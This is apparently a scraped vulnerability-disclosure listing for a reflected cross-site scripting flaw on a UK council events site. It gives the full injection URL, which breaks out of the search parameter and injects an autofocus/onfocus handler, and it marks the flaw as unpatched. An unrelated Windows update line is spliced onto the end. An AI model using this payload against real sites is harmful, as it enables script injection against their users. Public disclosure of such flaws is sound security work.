whatson.tameside.gov.uk XSS vulnerability

Vulnerable URL: http://whatson.tameside.gov.uk/?searchText=news " autofocus/onfocus="prompt/XSSPOSED/=27/08/2015=7=====402=Search==List=Date Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...

Cumulative Update for Windows 10: August 27, 2015

None None...